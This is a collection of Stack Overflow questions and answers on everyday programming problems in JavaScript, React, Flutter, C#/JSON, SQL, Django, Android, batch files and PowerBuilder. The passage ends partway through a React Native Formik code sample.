option.addEventListener('click', function() {
timesClicked++
console.log(timesClicked)
if (timesClicked == 1) {
playerOneInput = this.textContent
document.getElementById('player').innerHTML =
'Player 2, choose your option!'
} else {
playerTwoInput = this.textContent
compareInputs(playerOneInput, playerTwoInput)
}
console.log(playerOneInput.trim())
console.log(playerTwoInput.trim())
})
})
function compareInputs(playerOneInput, playerTwoInput) {
// Tie check
if (playerOneInput == playerTwoInput) {
document.getElementById('result').innerHTML = 'Its a Tie!'
}
// Rock
if (playerOneInput == 'Rock') {
alert('Hello! I am an alert box!!')
switch (playerTwoInput) {
case 'Sciccors':
document.getElementById('result').innerHTML = 'Player one wins!'
break
case 'Paper':
document.getElementById('result').innerHTML = 'Player two wins!'
break
}
}
// Paper
if (playerOneInput == 'Paper') {
switch (playerTwoInput) {
case 'Rock':
document.getElementById('result').innerHTML = 'Player one wins!'
break
case 'Sciccors':
document.getElementById('result').innerHTML = 'Player two wins!'
break
}
}
// Scissors
if (playerOneInput == 'Sciccors') {
switch (playerTwoInput) {
case 'Paper':
document.getElementById('result').innerHTML = 'Player one wins!'
break
case 'Rock':
document.getElementById('result').innerHTML = 'Player two wins!'
break
}
}
}
<h1 id="player">Player 1, choose your option!</h1>
<div id="buttons">
<button class="options">
Rock<img src="rock.jpg" alt="Hand gesture of rock" />
</button>
<button class="options">
Paper<img src="paper.png" alt="Hand gesture of paper" />
</button>
<button class="options">
Scissors<img src="scissors.png" alt="Hand gesture of scissors" />
</button>
</div>
<br /><br />
<div id="result"></div>
A: *
*Most probably it's due to the white space characters introduced when fetching the text using textContent. See here for ways to trim the white space in a string.
*There's a typo in the script. HTML says Scissors whereas the script says Sciccors.
// credit: https://stackoverflow.com/a/6623263/6513921
if (timesClicked == 1) {
playerOneInput = this.textContent.replace(/\s/g,'');
document.getElementById('player').innerHTML =
'Player 2, choose your option!';
} else {
playerTwoInput = this.textContent.replace(/\s/g,'');
compareInputs(playerOneInput, playerTwoInput);
}
Working example:
const options = document.querySelectorAll('.options')
var timesClicked = 0
//console.log(options)
let playerOneInput = ''
let playerTwoInput = ''
options.forEach((option) => {
option.addEventListener('click', function() {
timesClicked++
console.log(timesClicked)
if (timesClicked == 1) {
playerOneInput = this.textContent.replace(/\s/g,'');
document.getElementById('player').innerHTML =
'Player 2, choose your option!';
} else {
playerTwoInput = this.textContent.replace(/\s/g,'');
compareInputs(playerOneInput, playerTwoInput);
}
console.log(playerOneInput.trim())
console.log(playerTwoInput.trim())
})
})
function compareInputs(playerOneInput, playerTwoInput) {
// Tie check
if (playerOneInput == playerTwoInput) {
document.getElementById('result').innerHTML = 'Its a Tie!'
}
// Rock
if (playerOneInput == 'Rock') {
alert('Hello! I am an alert box!!')
switch (playerTwoInput) {
case 'Scissors':
document.getElementById('result').innerHTML = 'Player one wins!'
break
case 'Paper':
document.getElementById('result').innerHTML = 'Player two wins!'
break
}
}
// Paper
if (playerOneInput == 'Paper') {
switch (playerTwoInput) {
case 'Rock':
document.getElementById('result').innerHTML = 'Player one wins!'
break
case 'Scissors':
document.getElementById('result').innerHTML = 'Player two wins!'
break
}
}
// Scissors
if (playerOneInput == 'Scissors') {
switch (playerTwoInput) {
case 'Paper':
document.getElementById('result').innerHTML = 'Player one wins!'
break
case 'Rock':
document.getElementById('result').innerHTML = 'Player two wins!'
break
}
}
}
<h1 id="player">Player 1, choose your option!</h1>
<div id="buttons">
<button class="options">
Rock<img src="rock.jpg" alt="Hand gesture of rock" />
</button>
<button class="options">
Paper<img src="paper.png" alt="Hand gesture of paper" />
</button>
<button class="options">
Scissors<img src="scissors.png" alt="Hand gesture of scissors" />
</button>
</div>
<br /><br />
<div id="result"></div>
| {
"language": "en",
"url": "https://stackoverflow.com/questions/71156571",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-1"
} |
Q: Remove .php and id from url and replace with slash i have tried lots of for url rewrite rules in htaccess but i am stuck now. i have to change this url
products.php?id=31
to
products/31
i have used
Options +FollowSymLinks -MultiViews
# Turn mod_rewrite on
RewriteEngine On
RewriteBase /
## don't touch /forum URIs
RewriteRule ^forums/ - [L,NC]
## hide .php extension snippet
# To externally redirect /dir/foo.php to /dir/foo
RewriteCond %{THE_REQUEST} ^[A-Z]{3,}\s([^.]+)\.php [NC]
RewriteRule ^ %1 [R,L]
# To internally forward /dir/foo to /dir/foo.php
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.*?)/?$ $1.php [L]
using this i get the following result:
products?id=31
But this isn't working. Any ideas?
A: Have your complete .htaccess like this:
Options +FollowSymLinks -MultiViews
# Turn mod_rewrite on
RewriteEngine On
RewriteBase /
## don't touch /forum URIs
RewriteRule ^forums/ - [L,NC]
RewriteCond %{THE_REQUEST} \s/+products(?:\.php)?\?id=([0-9]+) [NC]
RewriteRule ^ products/%1? [R,L]
RewriteRule ^products/([0-9]+)/?$ products.php?id=$1 [L,QSA]
## hide .php extension snippet
# To externally redirect /dir/foo.php to /dir/foo
RewriteCond %{THE_REQUEST} \s([^.]+)\.php [NC]
RewriteRule ^ %1 [R,L]
# To internally forward /dir/foo to /dir/foo.php
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.+?)/?$ $1.php [L]
A: you need to use it like that
RewriteRule ^products/([0-9]+)$ products.php?id=$1
A: use below htaccess rule
RewriteRule ^products/([0-9]*)$ /product.php?id=$1 [L,QSA]
| {
"language": "en",
"url": "https://stackoverflow.com/questions/20738855",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: Flutter Unhandled Exception: type 'Null' is not a subtype of type 'List' in type cast I need to assign a model to a list in the application, but I am getting the error I mentioned in the title.
Although I get this error on the android side, I do not have a problem, but when I try it on the ios side, my application crashes.
List<MessageModel> messageList = [];
String? message;
bool success = false;
@override
MessageService decode(dynamic data) {
messageList = (data as List).map((e) => MessageModel.fromJsonData(e)).toList(); ----> Unhandled Exception: type 'Null' is not a subtype of type 'List<dynamic>' in type cast
return this;
}
A: You can declare it as nullable:
List<MessageModel> ?messageList = [];
A: The reason you get the error is data is null.
Try my solution:
List<MessageModel> messageList = [];
String? message;
bool success = false;
@override
MessageService decode(dynamic data) {
messageList = data?.map((e) => MessageModel.fromJsonData(e))?.toList() ?? [];
return this;
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/70270979",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: REACT:state of form elements are getting set to default on clicking to a button,page is re-rendering after interaction and clicking on button the issue is that whenever i click on Click me button it should display the corresponding error message on ui but instead when i click on the button the page gets re rendered. I am performing tasks based on the current state,as states are getting set to default on render, i am not able to do so. and after the 1st or 2nd submit the error message persists but when i enter some value in the textbox and then again submit,the entered values are lost and a fresh clean form is displayed.
the same is happening for all my form fields.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/64787933",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Unable to deserialize JSON response Hi I am Getting an XML response from the API and I am converting that XML response to JSON and then ingesting data in database using C# objects. After converting that XML into JSON and deserializing that JSON is throwing me the error as below.
Newtonsoft.Json.JsonSerializationException: 'Cannot deserialize the current JSON array (e.g. [1,2,3]) into type 'AMZ_All_Orders_Datewise.Program+OrderItem'
because the type requires a JSON object (e.g. {"name":"value"}) to deserialize correctly.
To fix this error either change the JSON to a JSON object (e.g. {"name":"value"}) or
change the deserialized type to an array or a type that implements a collection interface
(e.g. ICollection, IList) like List<T> that can be deserialized from a JSON array. JsonArrayAttribute
can also be added to the type to force it to deserialize from a JSON array.
Path 'AmazonEnvelope.Message[116].Order.OrderItem', line 1, position 107783.'
The code used for converting XML to JSON is below
//Response from API is stored in xml variable
string xml = Response.Content;
XmlDocument doc = new XmlDocument();
doc.LoadXml(xml);
string Jsontext = JsonConvert.SerializeXmlNode(doc);
XML converted JSON response is stored in Jsontext variable. now the JSON is deserialized using Newtonsoft JSON package
Root_Orders_Data root_Orders_Data = JsonConvert.DeserializeObject<Root_Orders_Data>(Jsontext);
While executing this above line then above error is thrown.
Please help me with this. Suggest any idea or any corrections.
XML response is Below
<?xml version="1.0" encoding="UTF-8"?>
<AmazonEnvelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="amzn-envelope.xsd">
<Header>
<DocumentVersion>1.00</DocumentVersion>
</Header>
<MessageType>AllOrdersReport</MessageType>
<Message>
<Order>
<AmazonOrderID>407-4867592-2717133</AmazonOrderID>
<MerchantOrderID>407-4867592-2717133</MerchantOrderID>
<PurchaseDate>2021-01-03T18:29:44+00:00</PurchaseDate>
<LastUpdatedDate>2021-01-05T08:03:11+00:00</LastUpdatedDate>
<OrderStatus>Shipped</OrderStatus>
<SalesChannel>Amazon.in</SalesChannel>
<FulfillmentData>
<FulfillmentChannel>Amazon</FulfillmentChannel>
<ShipServiceLevel>Expedited</ShipServiceLevel>
<Address>
<City>PATNA</City>
<State>BIHAR</State>
<PostalCode>800020</PostalCode>
<Country>IN</Country>
</Address>
</FulfillmentData>
<IsBusinessOrder>false</IsBusinessOrder>
<IsSoldByAB>false</IsSoldByAB>
<OrderItem>
<AmazonOrderItemCode>65393459928915</AmazonOrderItemCode>
<ASIN>B07GMRJTS9</ASIN>
<SKU>CT4G4DFS8266-01</SKU>
<ItemStatus>Shipped</ItemStatus>
<ProductName>Crucial RAM 4GB DDR4 2666 MHz CL19 Desktop Memory CT4G4DFS8266</ProductName>
<Quantity>1</Quantity>
<ItemPrice>
<Component>
<Type>Principal</Type>
<Amount currency="INR">1450.0</Amount>
</Component>
<Component>
<Type>Shipping</Type>
<Amount currency="INR">40.0</Amount>
</Component>
</ItemPrice>
<Promotion>
<PromotionIDs>IN Core Free Shipping 2015/04/08 23-48-5-108</PromotionIDs>
<ShipPromotionDiscount>40.0</ShipPromotionDiscount>
</Promotion>
</OrderItem>
</Order>
</Message>
<Message>
<Order>
<AmazonOrderID>406-0676704-1460352</AmazonOrderID>
<MerchantOrderID>406-0676704-1460352</MerchantOrderID>
<PurchaseDate>2021-01-01T17:58:26+00:00</PurchaseDate>
<LastUpdatedDate>2021-01-02T07:27:17+00:00</LastUpdatedDate>
<OrderStatus>Shipped</OrderStatus>
<SalesChannel>Amazon.in</SalesChannel>
<FulfillmentData>
<FulfillmentChannel>Amazon</FulfillmentChannel>
<ShipServiceLevel>Expedited</ShipServiceLevel>
<Address>
<City>BENGALURU</City>
<State>KARNATAKA</State>
<PostalCode>560051</PostalCode>
<Country>IN</Country>
</Address>
</FulfillmentData>
<IsBusinessOrder>false</IsBusinessOrder>
<IsSoldByAB>false</IsSoldByAB>
<OrderItem>
<AmazonOrderItemCode>65883701062139</AmazonOrderItemCode>
<ASIN>B07Z87LXY1</ASIN>
<SKU>F4-3600C16D-16GTZRC</SKU>
<ItemStatus>Shipped</ItemStatus>
<ProductName>G.Skill F4-3600C16D-16GTZRC Trident Z RGB DDR4-3600MHz CL16-19-19-39 1.35V 16GB (2x8GB) Memory</ProductName>
<Quantity>1</Quantity>
<ItemPrice>
<Component>
<Type>Principal</Type>
<Amount currency="INR">11699.0</Amount>
</Component>
</ItemPrice>
</OrderItem>
<OrderItem>
<AmazonOrderItemCode>29991566012307</AmazonOrderItemCode>
<ASIN>B089XVWVZ9</ASIN>
<SKU>90MB1490-M0IAY0</SKU>
<ItemStatus>Shipped</ItemStatus>
<ProductName>ASUS TUF Gaming B550M-Plus AM4 PCIe 4.0 DDR4 (4600 O.C.) mATX Motherboard with 2.5Gb Ethernet WiFi 6 2X M.2 USB 3.2 Gen2 and Aura Sync RGB Support</ProductName>
<Quantity>1</Quantity>
<ItemPrice>
<Component>
<Type>Principal</Type>
<Amount currency="INR">15940.0</Amount>
</Component>
</ItemPrice>
</OrderItem>
</Order>
</Message>
<Message>
<Order>
<AmazonOrderID>171-4651818-8974757</AmazonOrderID>
<MerchantOrderID>171-4651818-8974757</MerchantOrderID>
<PurchaseDate>2021-01-01T17:54:10+00:00</PurchaseDate>
<LastUpdatedDate>2021-01-02T07:26:52+00:00</LastUpdatedDate>
<OrderStatus>Shipped</OrderStatus>
<SalesChannel>Amazon.in</SalesChannel>
<FulfillmentData>
<FulfillmentChannel>Amazon</FulfillmentChannel>
<ShipServiceLevel>Expedited</ShipServiceLevel>
<Address>
<City>Anantapur</City>
<State>ANDHRA PRADESH</State>
<PostalCode>515001</PostalCode>
<Country>IN</Country>
</Address>
</FulfillmentData>
<IsBusinessOrder>false</IsBusinessOrder>
<IsSoldByAB>false</IsSoldByAB>
<OrderItem>
<AmazonOrderItemCode>38919417111003</AmazonOrderItemCode>
<ASIN>B07HY3QWM7</ASIN>
<SKU>DTSWIVL/16GBIN</SKU>
<ItemStatus>Shipped</ItemStatus>
<ProductName>Kingston DataTraveler Swivl 16GB USB 3.0 Pen Drive (DTSWIVL/16GBIN)</ProductName>
<Quantity>1</Quantity>
<ItemPrice>
<Component>
<Type>Principal</Type>
<Amount currency="INR">399.0</Amount>
</Component>
</ItemPrice>
</OrderItem>
</Order>
</Message>
</AmazonEnvelope>
C# objects are below
public class Header
{
public string DocumentVersion { get; set; }
}
public class Address
{
public string City { get; set; }
public string State { get; set; }
public string PostalCode { get; set; }
public string Country { get; set; }
}
public class FulfillmentData
{
public string FulfillmentChannel { get; set; }
public string ShipServiceLevel { get; set; }
public Address Address { get; set; }
}
public class Amount
{
public string _currency { get; set; }
public string __text { get; set; }
}
public class Component
{
public string Type { get; set; }
public Amount Amount { get; set; }
}
public class ItemPrice
{
public List<Component> Component { get; set; }
}
public class Promotion
{
public string PromotionIDs { get; set; }
public string ShipPromotionDiscount { get; set; }
}
public class OrderItem
{
public string AmazonOrderItemCode { get; set; }
public string ASIN { get; set; }
public string SKU { get; set; }
public string ItemStatus { get; set; }
public string ProductName { get; set; }
public string Quantity { get; set; }
public ItemPrice ItemPrice { get; set; }
public Promotion Promotion { get; set; }
public string NumberOfItems { get; set; }
}
public class Order
{
public string AmazonOrderID { get; set; }
public string MerchantOrderID { get; set; }
public DateTime PurchaseDate { get; set; }
public DateTime LastUpdatedDate { get; set; }
public string OrderStatus { get; set; }
public string SalesChannel { get; set; }
public FulfillmentData FulfillmentData { get; set; }
public string IsBusinessOrder { get; set; }
public string IsSoldByAB { get; set; }
public List<OrderItem> OrderItem { get; set; }
public string FulfilledBy { get; set; }
}
public class Message
{
public Order Order { get; set; }
}
public class AmazonEnvelope
{
public Header Header { get; set; }
public string MessageType { get; set; }
public List<Message> Message { get; set; }
[JsonProperty("_xmlns:xsi")]
public string XmlnsXsi { get; set; }
[JsonProperty("_xsi:noNamespaceSchemaLocation")]
public string XsiNoNamespaceSchemaLocation { get; set; }
}
public class Root_Orders_Data
{
public AmazonEnvelope AmazonEnvelope { get; set; }
}
A: Here is a conceptual example for you.
It covers one-to-many scenario similar to yours for Order and OrderDetails.
SQL
-- DDL and sample data population, start
USE tempdb;
GO
CREATE TABLE #orders (
OurOrderID INT IDENTITY PRIMARY KEY,
OrderID CHAR(5) NOT NULL,
CustomerID CHAR(5) NOT NULL,
OrderDate DATE NOT NULL,
EmployeeID INT NOT NULL
);
CREATE TABLE #details (
OrderDetailID INT IDENTITY,
OurOrderID INT NOT NULL FOREIGN KEY REFERENCES #orders(OurOrderID),
ProductID INT NOT NULL,
Price DECIMAL(10,2) NOT NULL,
Qty INT NOT NULL,
PRIMARY KEY (OrderDetailID, OurOrderID, ProductID)
);
DECLARE @orderidmap TABLE (
OurOrderID INT PRIMARY KEY,
TheirOrderID INT NOT NULL UNIQUE
);
DECLARE @xml XML =
N'<Orders>
<Order OrderID="13000" CustomerID="ALFKI" OrderDate="2006-09-20Z" EmployeeID="2">
<OrderDetails ProductID="76" Price="123" Qty="10"/>
<OrderDetails ProductID="16" Price="3.23" Qty="20"/>
</Order>
<Order OrderID="13001" CustomerID="VINET" OrderDate="2006-09-20Z" EmployeeID="1">
<OrderDetails ProductID="12" Price="12.23" Qty="1"/>
</Order>
</Orders>';
-- DDL and sample data population, end
/*
Propagate generated IDENTITY values for PRIMARY KEY as FOREIGN KEY in the child table
=============================================================================================
We have an XML document with order data, and there is an order ID in that data.
To be able to store both header and details, we need a mapping,
and to this end we use the MERGE statement with the odd condition 1 = 0
in the USING clause and there is only one branch for WHEN NOT MATCHED.
We use the OUTPUT clause, and we insert both order IDs into the @orderidmap table.
*/
;WITH OrderData AS
(
SELECT TheirOrderID = c.value('@OrderID[1]', 'INT'),
CustomerID = c.value('@CustomerID[1]', 'CHAR(5)'),
OrderDate = c.value('@OrderDate[1]', 'DATETIME'),
EmployeeID = c.value('@EmployeeID[1]', 'SMALLINT')
FROM @xml.nodes('/Orders/Order') AS t(c)
)
MERGE #orders AS o
USING OrderData AS od ON 1 = 0
WHEN NOT MATCHED THEN
INSERT(OrderID, CustomerID, OrderDate, EmployeeID)
VALUES(od.TheirOrderID, od.CustomerID, od.OrderDate, od.EmployeeID)
OUTPUT inserted.OurOrderID, od.TheirOrderID
INTO @orderidmap (OurOrderID, TheirOrderID);
;WITH Details AS
(
SELECT TheirOrderID = o.value('@OrderID[1]', 'INT'),
ProductID = od.value('@ProductID[1]', 'SMALLINT'),
Price = od.value('@Price[1]', 'DECIMAL(10,2)'),
Qty = od.value('@Qty[1]', 'INT')
FROM @xml.nodes('/Orders/Order') AS A(o)
CROSS APPLY A.o.nodes('OrderDetails') AS B(od)
)
INSERT #details (OurOrderID, ProductID, Price, Qty)
SELECT m.OurOrderID, d.ProductID, d.Price, d.Qty
FROM Details AS d
INNER JOIN @orderidmap AS m ON d.TheirOrderID = m.TheirOrderID;
-- test
SELECT * FROM #orders;
SELECT * FROM @orderidmap;
SELECT * FROM #details;
GO
DROP TABLE #orders, #details;
| {
"language": "en",
"url": "https://stackoverflow.com/questions/66150999",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: What the last line in custom DRF permission mean This is a snippet from the Django rest framework documentation on writing custom permissions. I don't understand the meaning of the last line here:
class IsOwnerOrReadOnly(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
if request.method in permissions.SAFE_METHODS:
return True
return obj.owner == request.user
A: The method has_object_permission() returns True or False depending in the evaluation of obj.owner == request.user
| {
"language": "en",
"url": "https://stackoverflow.com/questions/60020788",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Overflow text in table cell Is it possible to make text overflow in a table cell?
Like this:
+TABLE-----------------------------------+
| +cell1-----+ +cell2-----+ +cell3-----+ |
| | | | | | | |
| | | |Example text overflow | |
| | | | | | | |
| | | | | | | |
| +----------+ +----------+ +----------+ |
+----------------------------------------+
I tried overflow:visible and white-space:nowrap but not working.
A: You could overflow the text outside the td but you need to insert a div tag like this
<td><div>your text goes here</div></td>
See this demo
| {
"language": "en",
"url": "https://stackoverflow.com/questions/18248523",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: django 1.9 createsuperuser bypass the password validation checking Try to work on the new django 1.9 version, and create a super user by this:
python manage.py createsuperuser
And I just want to use a simple password for my local development environment, like only one character, django1.9 upgrade to a very strict password validation policy, how can I bypass it?
Password:
Password (again):
This password is too short. It must contain at least 8 characters.
This password is too common.
This password is entirely numeric.
A: In fact, you do not need to modify the validator settings or first create a complex password and then later change it. Instead you can create a simple password directly bypassing all password validators.
Open the django shell
python manage.py shell
Type:
from django.contrib.auth.models import User
Hit enter and then type (e.g. to use a password consisting only of the letter 'a'):
User.objects.create_superuser('someusername', '[email protected]', 'a')
Hit enter again and you're done.
A: After creating the superuser with a complex password, you can set it to something easier in the shell (./manage.py shell):
from django.contrib.auth.models import User
user = User.objects.get(username='your_user')
user.set_password('simple')
user.save()
A: You can change the AUTH_PASSWORD_VALIDATORS setting in in your dev environment. See the docs: https://docs.djangoproject.com/en/stable/topics/auth/passwords/#s-enabling-password-validation.
It is pretty straightforward: you will recognize the validators that caused your warning messages.
A: mimo's answer is correct but don't works if you don't using default User model
According mimo's answer and this article, I changed script to this one
from django.contrib.auth import get_user_model
User = get_user_model()
user = User.objects.get(email='[email protected]')
# or user = User.objects.get(username='your_user')
user.set_password('simple')
user.save()
| {
"language": "en",
"url": "https://stackoverflow.com/questions/35330066",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "13"
} |
Q: How to show online directory in android I have a download host that has many directory,
How can i show these online directories in an android application?
I prefer not to use WebView because does not have diffrent to browser!
and this is my host : http://51.254.93.66/Shikfa/
A: What you are talking about is a WebView in android:
public class WebActivity extends Activity {
WebView mWebView;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.loadUrl("http://51.254.93.66/Shikfa/");
}
}
And then your main.xml:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical">
<WebView
android:id="@+id/webview"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
/>
</LinearLayout>
It should show all your directories like it does on your website.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/32541013",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-4"
} |
Q: passing parameters to bat file as 1 string It seems like it would be simple.
In a bat file, I call a program that takes command line parameters
I have the parms as one string, I have tried it with "" around and not
It only sees one parm (if guess it hit the space)
So the question is how can I pass the string, as a parameter list
The actual string is below and must be formated as such with the "" etc
-U romeirj -P Abc123 -F C:\inetpub\wwwroot\russ\crexport\russ.rpt -O C:\inetpub\wwwroot\russ\russ.pdf -A "startdate: 01-01-2010" -A "gender:M" -A "type:PENDJUD"
would like to call it from a bat file the looks like
batfile.bat parmstring
bat file content
program.exe %1
A: As long as all of the batch parameters are supposed to be passed to your program, then you can simply call your batch with the parameters as you have specified them, and use the following within your batch script.
program.exe %*
The problem becomes much more complicated if you only want to pass some of the batch parameters to the called program.
Unfortunately there is no method to escape quotes within a quoted string. It is also impossible to escape parameter delimiters. So it is impossible to simultaneously embed both spaces and quotes within a single batch parameter.
The SHIFT command can strip off leading parameters, but %* always expands to the original parameter list; it ignores prior SHIFT operations.
The FOR /F does not ignore quoted delimiters, so it doesn't help.
The simple FOR can properly parse quoted parameter lists, but it expands * and ? characters using the file system. That can be a problem.
The only thing left to do is to use a GOTO loop combined with SHIFT to build a string containing your desired parameters.
Suppose the first 3 parameters are strictly for the batch file, and the remaining parameters are to be passed to the called program.
@echo off
setlocal
set "args="
:buildProgramArgs
if [%4]==[] goto :argsComplete
set args=%args% %4
shift /4
goto :buildProgramArgs
:argsComplete
program.exe %args%
::args %1 %2 and %3 are still available for batch use
| {
"language": "en",
"url": "https://stackoverflow.com/questions/10933099",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: ReactJS: Should a large array of objects be passed down to many levels of child components as props? I'm looking at one of my colleague's ReactJs code and noticed that he is passing an array of custom objects down to 5 levels of child components as props. He is doing this b/c the bottom level child component needs that array's count to perform some UI logic.
At first I was concerned about passing a potentially large array of objects down to this many levels of component hierarchy, just so the bottom one could use its count to do something. But then I was thinking: maybe this is not a big deal since the props array is probably passed by reference, instead of creating copies of this array.
But since I'm kind of new to React, I want to go ahead and ask this question here to make sure my assumptions are correct, and see if others have any thoughts/comments about passing props like this and any better approach.
A: In regards to the array being passed around I believe it is indeed a reference and there isn't any real downside to doing this from a performance perspective.
It would be better to make the length available on Child Context that way you don't have to manually pass the props through a bunch of components that don't necessarily care.
also it seems it would be more clear to pass only the length since the component doesn't care about the actual objects in the array.
So in the component that holds the array the 5th level child cares about:
var React = require('react');
var ChildWhoDoesntNeedProps = require('./firstChild');
var Parent = React.createClass({
childContextTypes: {
arrayLen: React.PropTypes.number
},
getChildContext: function () {
return {
arrayLen: this.state.theArray.length
};
},
render: function () {
return (
<div>
<h1>Hello World</h1>
<ChildWhoDoesntNeedProps />
</div>
);
}
});
module.exports = Parent;
And then in the 5th level child, who is itself a child of ChildWhoDoesntNeedProps
var React = require('react')
var ArrayLengthReader = React.createClass({
contextTypes: {
arrayLen: React.PropTypes.number.isRequired
},
render: function () {
return (
<div>
The array length is: {this.context.arrayLen}
</div>
);
}
});
module.exports = ArrayLengthReader;
A: I don't see any problems with passing a big array as a props, even the Facebook is doing that in one of their tutorial about Flux.
Since you're passing the data down to this many lever you should use react contex.
Context allows children component to request some data to arrive from
component that is located higher in the hierarchy.
You should read this article about The Context, this will help you with your problem.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/32701266",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "8"
} |
Q: PB 12.5 and OrcaScript: how to use reverent PBD file in OrcaScript I am trying to create a script through ORCAScript to build PB125 application but It's throwing error like undefined data type.
Right now I am using two PBD files (pbwsclient125.pbd,pbdom125.pbd) in my workspace for reference.
All files which I am using in my target.
pbwsclient125.pbd
pbdom125.pbd
a1.pbl
a2.pbl
a3.pbl
ORCA Script:
start session
SET liblist "a1.pbl;a2.pbl; a3.pbl"
SET application "performed.pbl" "performrx"
BUILD library "a1.pbl" "" PBD
BUILD library "a2.pbl" "" PBD
BUILD library "a3.pbl" "" PBD
BUILD application full
BUILD executable "performmed.exe" "pbshell.ico" "performmed.pbr" "yyyyyyy"
end session
It's throwing error like
Object: u_grievance
Function: u_grievance::wf_ws_get
(0052): Error C0001: Illegal data type: soapconnection
(0087): Error C0015: Undefined variable: awdqc_conn
(0089): Error C0015: Undefined variable: awdqc_conn
(0152): Error C0001: Illegal data type: soapexception
(0154): Error C0015: Undefined variable: e11
(0154): Error C0003: Condition for if statement must be a boolean.
(0211): Error C0020: Function with no return value used in expression
(0213): Error C0020: Function with no return value used in expression
(0219): Error C0020: Function with no return value used in expression
(0223): Error C0020: Function with no return value used in expression
(0225): Error C0020: Function with no return value used in expression
(0232): Error C0020: Function with no return value used in expression
(0235): Error C0020: Function with no return value used in expression
(0238): Error C0020: Function with no return value used in expression
(0243): Error C0020: Function with no return value used in expression
(0298): Error C0020: Function with no return value used in expression
(0311): Error C0020: Function with no return value used in expression
(0335): Error C0020: Function with no return value used in expression
(0348): Error C0020: Function with no return value used in expression
(0357): Error C0015: Undefined variable: e11
This object is exist in "pbwsclient125.pbd".
Please advise.
Thanks in advance.
A: I use build project instead of build application, but I think you need to add the PBDs like pbwsclient125.pbd to your set liblist command.
A: SET liblist "a1.pbl;a2.pbl;a3.pbl;pbwsclient125.pbd;pbdom125.pbd"
BUILD executable "performmed.exe" "pbshell.ico" "performmed.pbr" "yyynn"
| {
"language": "en",
"url": "https://stackoverflow.com/questions/43649856",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Get set of ID's from one table and use them to spawn a row in different table I have 2 tables 'users' and 'settings'. I am trying to create a new row in settings for each user in users to initialize a default setting.
INSERT INTO settings
(user_id, setting_id, value)
VALUES
(
(SELECT id
FROM users),
16,
true
)
this returns the error
ERROR: more than one row returned by a subquery used as an expression
SQL state: 21000
A: Try this syntax.
Add the constant values to select query select list
INSERT INTO settings
(user_id, setting_id, value)
SELECT id,16,true
FROM users
A: Use insert . . . select:
INSERT INTO settings (user_id, setting_id, value)
SELECT id, 16, true
FROM users;
| {
"language": "en",
"url": "https://stackoverflow.com/questions/34454697",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: In react native, conditionally render an item in an array I have a Formik form in react native where I have a field array that has a series of questions. One of the questions has a custom component that the user can select from and if they select 'changed any tyres' then another component appears. This is working great but I cannot seem to figure out how to be only specific to the array item they are in. It appears in all array items.
Any help would be greatly appreciated.
<Formik
enableReinitialize={true}
initialValues={initialState}
validationSchema={validationSchema}
onSubmit={(values, actions) => {
console.log(values);
}}
>
{props => (
<Form>
<View>
<MyDatePicker
label="Date"
name="tsDate"
/>
<FieldArray
name="timesheets"
render={arrayHelpers => (
<>
{props.values.timesheets &&
(
props.values.timesheets.map((timesheet, index) => (
<View>
<Select
label="Have you..."
name={`timesheets.[${index}].accessory`}
items={[
{ label: 'N/A', value: 'N/A', key: 1 },
{ label: 'useed a Light Vehicle', value: 'useed a Light Vehicle', key: 2 },
{ label: 'changed any GET', value: 'changed any GET', key: 3 },
{ label: 'changed any Tyres', value: 'changed any Tyres', key: 4 },
{ label: 'used a Rock Breaker', value: 'used a Rock Breaker', key: 5 },
{ label: 'used a Trailer', value: 'used a Trailer', key: 6 },
{ label: 'used a GPS', value: 'used a GPS', key: 7 },
]}
/>
{(props.values.timesheets.some((timesheet) => (timesheet.accessory === ('changed any Tyres') )) )
?
<View>
<Select
label="What type of Tyres"
name={`timesheets.[${index}].tyresType`}
items={[
{ label: 'Front RH, LH', value: 'Front RH, LH', key: 1 },
{ label: 'Rear RH, LH', value: 'Rear RH, LH', key: 2 },
{ label: 'Spare', value: 'Spare', key: 3 },
]}
/>
</View>
:
<View>
{console.log('Hide Rock Breaker!')}
</View>
}
{props.values.timesheets.length === 1 ? (
<View style={{ flexDirection: 'row', justifyContent: 'center', paddingTop: 20, paddingBottom: 0 }}>
<TouchableOpacity style={cvstyles.arrayButtons} onPress={() => arrayHelpers.push(index, '')}>
<Text style={{ color: '#fff' }} >Add Entry</Text>
</TouchableOpacity>
</View>
) : (
<View style={{ flexDirection: 'row', justifyContent: 'space-between', paddingTop: 20, paddingBottom: 0 }}>
